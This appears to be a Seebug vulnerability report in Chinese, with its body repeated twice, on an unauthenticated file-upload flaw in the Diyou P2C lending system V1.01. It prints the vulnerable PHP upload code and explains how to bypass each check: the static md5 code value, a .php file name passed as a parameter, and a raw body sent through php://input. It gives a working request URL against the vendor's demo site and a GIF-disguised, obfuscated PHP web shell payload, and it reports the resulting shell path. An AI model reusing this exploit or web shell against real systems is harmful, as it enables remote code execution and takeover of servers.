帝友P2C借贷系统最新版前台getshell#2

2015-01-13T00:00:00
ID SSV:95416
Type seebug
Reporter Root
Modified 2015-01-13T00:00:00

Description

简要描述:

帝友P2C借贷系统最新版前台getshell#2

详细说明:

这次是帝友公司旗下出的另一套电子商务cms 不是帝友p2p! 官方最新版本是 帝友P2C借贷系统V1.01 漏洞文件dyweb/dyusers/diyou_p2c/users/users.upload.php

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); if($_REQUEST['code']!==md5('diyou.upload')){ die("操作有误"); } // 5 minutes execution time @set_time_limit(5 * 60); // Settings $targetDir = "dyupfiles/images/"; $targetFolder = "/dyupfiles/images/"; //$targetDir = 'uploads'; $cleanupTargetDir = true; // Remove old files $maxFileAge = 5 * 3600; // Temp file age in seconds // Create target dir if (!file_exists($targetDir)) { @mkdir($targetDir); @chmod($save_path, 0777); } $ymd = date("Y-m"); $targetDir .= $ymd . "/"; $targetFolder.=$ymd . "/"; if (!file_exists($targetDir)) { mkdir($targetDir); @chmod($targetDir, 0777); } $targetDir.=date("d")."/"; @chmod($targetDir, 0777); $targetFolder.=date("d")."/"; if (!file_exists($targetDir)) { mkdir($targetDir); @chmod($targetDir, 0777); } if (isset($_REQUEST["name"])) { $fileName = $_REQUEST["name"]; } elseif (!empty($_FILES)) { $fileName = $_FILES["file"]["name"]; } else { $fileName = uniqid("file_"); } $fileParts = pathinfo($fileName); //新文件名 $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $fileParts['extension']; $filePath = $targetDir . $new_file_name; $_filepath = $targetFolder.$new_file_name; // Chunking might be enabled $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0; $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0; // Remove old temp files if ($cleanupTargetDir) { if (!is_dir($targetDir) || !$dir = opendir($targetDir)) { die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}'); } while (($file = readdir($dir)) !== false) { $tmpfilePath = $targetDir . DIRECTORY_SEPARATOR . $file; // If temp file is current file proceed to the next if ($tmpfilePath == "{$filePath}.part") { continue; } // Remove temp file if it is older than the max age and is not the current file if (preg_match('/\.part$/', $file) && (filemtime($tmpfilePath) < time() - $maxFileAge)) { @unlink($tmpfilePath); } } closedir($dir); } // Open temp file if (!$out = @fopen("{$filePath}.part", $chunks ? "ab" : "wb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}'); } if (!empty($_FILES)) { if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}'); } // Read binary input stream and append it to temp file if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } } else { if (!$in = @fopen("php://input", "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($out); @fclose($in); // Check if file has been uploaded if (!$chunks || $chunk == $chunks - 1) { rename("{$filePath}.part", $filePath); } $file_type = file_type($filePath); if(!in_array($file_type,array('jpg','jpeg','gif','png'))){ @unlink($filePath); //die('{"jsonrpc" : "2.0", "error" : {"code": 999, "message": "Failed to move uploaded file."}, "id" : "id"}'); exit; } $filePath = $_filepath.'|'.$_REQUEST['name'].'|'.$new_file_name.'|'.$fileParts['extension']; // Return Success JSON-RPC response die("{'jsonrpc' : '2.0', 'result' : '{$filePath}', 'id' : 'id'}");

讲讲几处绕过

if($_REQUEST['code']!==md5('diyou.upload')){ die("操作有误"); }

提交参数code=05473503890b7f115ccfbda2510fbc95即可

if (isset($_REQUEST["name"])) { $fileName = $_REQUEST["name"]; } elseif (!empty($_FILES)) { $fileName = $_FILES["file"]["name"]; } else { $fileName = uniqid("file_"); }

因为测试发现如果用文件表单上传的话,后面会出现错误,所以这里直接传递一个name参数过去。

$fileParts = pathinfo($fileName); //新文件名 $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $fileParts['extension'];

获取文件名,生成新文件名,但是后缀仍是用户上传的后缀。

if (!empty($_FILES)) { if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}'); } // Read binary input stream and append it to temp file if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } } else { if (!$in = @fopen("php://input", "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } }

经测试发现无法用表单上传,不论如何都会$_FILES["file"]["error"]产生一个error,于是看到这一句

$in = @fopen("php://input", "rb")

php://input,就是获取post过去的数据嘛。直接把要上传文件的内容放进post包里面。于是文件就被写入了。然后还有一个检测。

$file_type = file_type($filePath); if(!in_array($file_type,array('jpg','jpeg','gif','png'))){ @unlink($filePath); //die('{"jsonrpc" : "2.0", "error" : {"code": 999, "message": "Failed to move uploaded file."}, "id" : "id"}'); exit; }

file_type函数的内容是检测文件头,通过文件头来判断文件类型,如果不是jpg、png、gif各种,就删除。并且file_type中还有各种防木马的检测,都被我一一绕过了。首先,文件头最好绕过。直接在图片文件里面插马。然后还有防木马检测,找一个过狗phpshell啥的,改改也能过。最后做个演示吧,以官网演示站为例演示getshell。url访问

http://p2c.diyou.cc/?user&m=users/upload&code=05473503890b7f115ccfbda2510fbc95&name=123.php

post提交内容

GIF89asadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss<?php $a=$_POST;$b='asse'.'rt';$b($a['x0']);?>sadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss

<img src="https://images.seebug.org/upload/201501/121547439e171ec52f0c5bc3b72525d7744085a2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

得到shell地址/dyupfiles/images/2015-01/08/20150108173444_64271.php

<img src="https://images.seebug.org/upload/201501/1215480973ea16ae38194f64bf919fe926be05b8.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

这次是帝友公司旗下出的另一套电子商务cms 不是帝友p2p! 官方最新版本是 帝友P2C借贷系统V1.01 漏洞文件dyweb/dyusers/diyou_p2c/users/users.upload.php

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); if($_REQUEST['code']!==md5('diyou.upload')){ die("操作有误"); } // 5 minutes execution time @set_time_limit(5 * 60); // Settings $targetDir = "dyupfiles/images/"; $targetFolder = "/dyupfiles/images/"; //$targetDir = 'uploads'; $cleanupTargetDir = true; // Remove old files $maxFileAge = 5 * 3600; // Temp file age in seconds // Create target dir if (!file_exists($targetDir)) { @mkdir($targetDir); @chmod($save_path, 0777); } $ymd = date("Y-m"); $targetDir .= $ymd . "/"; $targetFolder.=$ymd . "/"; if (!file_exists($targetDir)) { mkdir($targetDir); @chmod($targetDir, 0777); } $targetDir.=date("d")."/"; @chmod($targetDir, 0777); $targetFolder.=date("d")."/"; if (!file_exists($targetDir)) { mkdir($targetDir); @chmod($targetDir, 0777); } if (isset($_REQUEST["name"])) { $fileName = $_REQUEST["name"]; } elseif (!empty($_FILES)) { $fileName = $_FILES["file"]["name"]; } else { $fileName = uniqid("file_"); } $fileParts = pathinfo($fileName); //新文件名 $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $fileParts['extension']; $filePath = $targetDir . $new_file_name; $_filepath = $targetFolder.$new_file_name; // Chunking might be enabled $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0; $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0; // Remove old temp files if ($cleanupTargetDir) { if (!is_dir($targetDir) || !$dir = opendir($targetDir)) { die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}'); } while (($file = readdir($dir)) !== false) { $tmpfilePath = $targetDir . DIRECTORY_SEPARATOR . $file; // If temp file is current file proceed to the next if ($tmpfilePath == "{$filePath}.part") { continue; } // Remove temp file if it is older than the max age and is not the current file if (preg_match('/\.part$/', $file) && (filemtime($tmpfilePath) &lt; time() - $maxFileAge)) { @unlink($tmpfilePath); } } closedir($dir); } // Open temp file if (!$out = @fopen("{$filePath}.part", $chunks ? "ab" : "wb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}'); } if (!empty($_FILES)) { if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}'); } // Read binary input stream and append it to temp file if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } } else { if (!$in = @fopen("php://input", "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($out); @fclose($in); // Check if file has been uploaded if (!$chunks || $chunk == $chunks - 1) { rename("{$filePath}.part", $filePath); } $file_type = file_type($filePath); if(!in_array($file_type,array('jpg','jpeg','gif','png'))){ @unlink($filePath); //die('{"jsonrpc" : "2.0", "error" : {"code": 999, "message": "Failed to move uploaded file."}, "id" : "id"}'); exit; } $filePath = $_filepath.'|'.$_REQUEST['name'].'|'.$new_file_name.'|'.$fileParts['extension']; // Return Success JSON-RPC response die("{'jsonrpc' : '2.0', 'result' : '{$filePath}', 'id' : 'id'}");

讲讲几处绕过

if($_REQUEST['code']!==md5('diyou.upload')){ die("操作有误"); }

提交参数code=05473503890b7f115ccfbda2510fbc95即可

if (isset($_REQUEST["name"])) { $fileName = $_REQUEST["name"]; } elseif (!empty($_FILES)) { $fileName = $_FILES["file"]["name"]; } else { $fileName = uniqid("file_"); }

因为测试发现如果用文件表单上传的话,后面会出现错误,所以这里直接传递一个name参数过去。

$fileParts = pathinfo($fileName); //新文件名 $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $fileParts['extension'];

获取文件名,生成新文件名,但是后缀仍是用户上传的后缀。

if (!empty($_FILES)) { if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}'); } // Read binary input stream and append it to temp file if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } } else { if (!$in = @fopen("php://input", "rb")) { die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); } }

经测试发现无法用表单上传,不论如何都会$_FILES["file"]["error"]产生一个error,于是看到这一句

$in = @fopen("php://input", "rb")

php://input,就是获取post过去的数据嘛。直接把要上传文件的内容放进post包里面。于是文件就被写入了。然后还有一个检测。

$file_type = file_type($filePath); if(!in_array($file_type,array('jpg','jpeg','gif','png'))){ @unlink($filePath); //die('{"jsonrpc" : "2.0", "error" : {"code": 999, "message": "Failed to move uploaded file."}, "id" : "id"}'); exit; }

file_type函数的内容是检测文件头,通过文件头来判断文件类型,如果不是jpg、png、gif各种,就删除。并且file_type中还有各种防木马的检测,都被我一一绕过了。首先,文件头最好绕过。直接在图片文件里面插马。然后还有防木马检测,找一个过狗phpshell啥的,改改也能过。最后做个演示吧,以官网演示站为例演示getshell。url访问

http://p2c.diyou.cc/?user&m=users/upload&code=05473503890b7f115ccfbda2510fbc95&name=123.php

post提交内容

GIF89asadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss&lt;?php $a=$_POST;$b='asse'.'rt';$b($a['x0']);?&gt;sadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadsdssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss

<img src="https://images.seebug.org/upload/201501/121547439e171ec52f0c5bc3b72525d7744085a2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

得到shell地址/dyupfiles/images/2015-01/08/20150108173444_64271.php

<img src="https://images.seebug.org/upload/201501/1215480973ea16ae38194f64bf919fe926be05b8.png" alt="1.png" width="600" onerror="javascript:errimg(this);">